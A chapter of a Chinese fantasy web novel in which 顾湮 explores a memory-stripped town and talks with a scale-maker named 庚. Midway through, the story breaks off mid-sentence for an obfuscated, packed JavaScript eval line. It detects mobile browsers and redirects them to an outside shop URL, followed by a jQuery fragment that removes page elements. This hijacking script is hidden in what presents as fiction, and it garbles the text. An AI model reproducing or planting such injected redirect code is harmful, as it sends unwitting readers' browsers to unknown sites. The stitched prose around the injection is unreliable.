候阶厅的尽头有一扇门，门楣上刻着三个字：第二阶。门没有锁，推开来，是一条向下的甬道。甬道很窄，两侧墙壁是湿润的深灰色，像某种生物的胃壁，墙面上渗着细密的水珠，却摸不到湿意，手指贴上去，只感到一阵温吞吞的、近乎呼吸的起伏。
顾湮走完甬道，脚下的地面亮了起来。
不是光源，是颜色。昏黄的，带着一种令人犯困的暖意，像冬日午后透过窗帘的那一层。她站在街道的入口，看见两排低矮的石屋沿街排开，屋顶覆着灰黑色的瓦，瓦缝里长着细小的青苔，青苔是活的，泛着一层嫩绿。街上的人不多，三三两两地走着，每个人都走得不快，脸上带着一种奇异的平静——那种平静太干净了，干净得像被什么东西抹过，抹得一丝褶皱都不剩。
她走到最近的一个摊贩面前。是个卖果子的老人，摊上摆着一排青黄色的果子，圆润饱满，在昏黄的光线下泛着微微的光泽。果子上沾着水珠，像刚洗过。
"这个，多少钱？"顾湮指了指其中一个。
老人抬起头，看了她一眼，目光在她掌心的灰纹上停了一下，然后摇了摇头。
"不收钱。"他说，声音沙哑，"你拿走就是了。"
"那要什么？"
老人想了想，表情困惑了那么一瞬："我也不知道。总觉得……应该是要什么的，但想不起来了。"
想不起来了。
顾湮没有去拿那个果子。她站在原地，把这四个字在脑子里翻来覆去地嚼了几遍。她注意到摊子边角挂着一串干辣椒，红得发暗，系辣椒的绳子已经朽了，一碰就会断，辣椒上落了一层薄灰，不像卖的样子，更像挂了很久、没人记得收起来。她移开目光，注意到老人的手背上有一道旧疤，从虎口斜斜划到腕骨，结了很深的一层痂。痂的颜色是暗红的，已经干透了，边缘翘着。她说了句"多谢"，转身继续走。
她沿着街道走了一圈。第二阶的规模不大，大约有两三百间石屋，居民不到一千人。她花了大半个时辰走完所有的街巷，在一座石桥边停下来。桥下的水是黑色的，流动得很慢，水面上浮着一层细碎的光，像有人把一捧碎玻璃撒进了河里。她蹲在桥边，看着那些光点漂了很一会儿，才站起来。
桥的另一头是一个小小的广场，广场中央立着一根石柱，柱身上刻满了密密麻麻的符号。顾湮走近去看，那些符号她一个也不认识——不是归墟的通用文字，也不是她在第一阶见过的任何标记。符号不是刻出来的，更像被什么东西烙上去的，边缘微微卷曲，带着一层焦褐色的痕迹，像烧过。
她蹲下来，仔细看那些符号的排列。不是横排，而是螺旋的，从柱底一圈一圈往上盘旋，盘到柱顶，收进一个她看不明白的纹样里。她看着那些符号，像在看一件沉在湖底的物件——轮廓隐约，细节全无，但她确定自己在哪里见过。她想伸手去碰。
"别碰。"
顾湮转身。桥的另一头站着一个男人，穿着灰褐色的长袍，面容清瘦，颧骨很高，一双眼睛像两枚黑色的石子，嵌在深深的眼窝里。他手里提着一杆秤——秤杆是黑色的，秤盘上放着一片枯叶，秤砣悬在半空，微微晃动。
"你是拾阶者？"男人问。
顾湮没有否认。
"我是庚。"男人说，"你可以叫我秤匠。"他看了一眼顾湮掌心的灰纹，目光在灰纹旁边那一小段浅淡的虚纹上停了一瞬，"你身上那道嫁接来的纹路，还没长稳。"
"你也是拾阶者？"
"不。"庚摇了摇头，"我是第二阶的住民。但我记得一些事。"他顿了顿，"这里的人都不记得了，但我还记得。所以我在这里等着。"
"等什么？"
"等一个能找出答案的人。"庚把那杆秤从左手换到右手，秤盘上的枯叶纹丝不动，"第二阶丢了东西。丢了很多东西。但没人知道丢了什么。"
顾湮没有立刻接话。桥下的黑水在流动，水面上那些碎光一明一灭。她看着庚，庚也看着她。过了一会儿她问："你记得什么？"
庚低头看着秤盘上的枯叶，沉默了很久。
"我记得一种味道。"他说，"甜的，但不是果子的甜。是某种更浓稠的、带着温度的东西。我小时候——"他停顿了一下，"我小时候应该吃过。但现在我想不起来那是什么了。"
"甜的东西。"
"不止是甜。"庚抬起头，"我记得那种东西是热的，会烫舌头。吃下去之后，整个人都会暖起来。但具体是什么……我记不清了。"他的眼神有些茫然，"我只记得那种感觉。像隔着墙听人说话，听得到声音，听不清内容。"
顾湮没有再追问。她重新看向那根石柱，这一次没有伸手。她在心里把已知的东西摆开：第二阶的居民对某一样东西集体失忆。庚记得那种东西的"感觉"——甜的、热的、烫舌头的——但记不清具体是什么。感官留下的比语义深，可指向那个感觉的标签被抹去了。
而庚说，他在这里等着。等一个能找出答案的人。
"第二阶的人，有没有谁曾经提起过『镜子』这个词？"她头也没回地问。
身后安静了几秒。庚的声音带着一丝困惑："镜子？我不记得有人提过。但你为什么要问这个？"
顾湮没有回答。她站起来，转过身，看着庚手里那杆秤。秤盘上的枯叶还在，秤砣悬在半空，纹丝不动。
"你手里的秤，"她说，"称过什么？"
庚低头看了看自己的秤，表情变得有些古怪："我不记得了。我只知道这杆秤一直在。它称过很多东西。"他抬起头，"但我不记得称过什么了。"
顾湮看着他。那杆秤本身也是"被遗忘的东西"——庚记得自己有一杆秤，记得秤的用途，却不记得它称过什么。失忆不针对某一件东西，而是针对与它相关的所有记忆——像一张网，网住了所有与"那个东西"有关的线索。
她重新走回街道。这次她换了一种方式——不再问"你们记得什么"，而是观察：看每个人的行为模式，看他们的习惯，看那些"不需要记忆也能维持"的肢体动作。
她注意到一个细节。几乎每个经过石桥的人，都会下意识地往桥下的水面看一眼。那个动作很轻，很快，像一种条件反射。她站在桥头，数了大约一刻钟的时间，经过的七个人全部看了水面，没有一个人例外。
她走到桥边，蹲下来，看着黑色的水面。水面上浮着细碎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932563|213646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的光斑，像碎掉的星星。她伸出手，指尖刚碰到水面，一阵冰凉的触感从指尖传来——不是水的凉，是另一种凉，像触碰一面镜子。
她收回手。
水面在她的触碰下泛开一圈涟漪。涟漪扩散开去，在某一点上停住了。水面上浮现出一个模糊的倒影——不是她自己的脸。那个倒影有一张陌生的脸，苍白的，轮廓模糊，像在水底泡了很久的相片。
顾湮盯着那个倒影。倒影也在盯着她。
她想起一件事。一件她自己也快要遗忘的事——她死前，她记得自己看着一张照片，照片上是一个女人，年轻，短发，笑得很好看。她记得自己看着那张照片，看得久了一点，像隔着什么在怀念一个人。但她想不起来那个女人是谁了。
水面上的倒影眨了一下眼。
顾湮后退一步。水面恢复平静，倒影消失，只剩下那些细碎的光斑，像碎掉的星星。
她站在桥边，掌心的灰纹传来一阵轻微的刺痛。她低头看去，那道嫁接来的虚纹比方才长了一小截——从无名指根部往前爬了一小段，浅淡的灰色，像一条蛇在皮肤下缓缓爬行。
"第二阶以前住过什么人？"她转过身，看着庚，"他们现在……在哪里？"
庚的秤盘上，那片枯叶无声地碎成了粉末。
粉末没有落下去，而是悬在秤盘上方，凝成一小团灰，灰团轻轻晃了晃，散进空气里，什么都没留下。庚看着空空的秤盘，很久没有说话。然后他开口，声音比方才低了一些：
"忘了。"
"什么？"
"他们不在了。"庚说，"但没人记得他们存在过。就像那片叶子——它碎掉之前，没有人会想起秤盘上放过一片叶子。"
顾湮没有再问。她收回视线，把掌心的虚纹攥进拳心。桥下的黑水还在流，碎光还在闪，卖果子的老人还在摊子后面坐着，手背上的旧痂结得稳稳的，像长在肉里的一个记号。
她沿着桥走回摊贩区。卖果子的老人还坐在摊后，手背上的旧痂对着她，一动不动。她在他摊前站了一会儿。她想叫他一声——那个称呼从她嘴边滑过去了。他们说过话，她问过价钱，他回答过她——但那个名字，或者说，那个称呼，从她嘴边滑过去了。
一个时辰前，她还能想起来。
她蹲下来。掌根那道嫁接来的虚纹淡得几乎看不出，像一道还没干透的墨痕。她数了一遍灰纹——一道。又数了一遍。纹路没有变。她不知道自己为什么要数第二遍。
她低着头，自言自语了一句。声音很轻，轻得只有她自己能听见：
"阿砚的骨，刻着七。"
她说完，自己也愣了一下——她不知道自己为什么要说这个。衣襟里那枚指骨硌着。她摸出来，攥进掌心里，凉意贴着虎口。刻痕很深，像用指甲反复划出来的。是"七"。她还记得。
她把指骨放回衣襟，贴着心口。风从桥下吹上来，带着水汽。她站起来，往街道尽头走去。掌心的虚纹还在长，桥下的黑水还在流。她一边走，一边把衣襟按了按，确认那枚指骨还在。
她不知道自己下一次还能不能想起它在哪里。
但她想，带着，总比什么都不留强。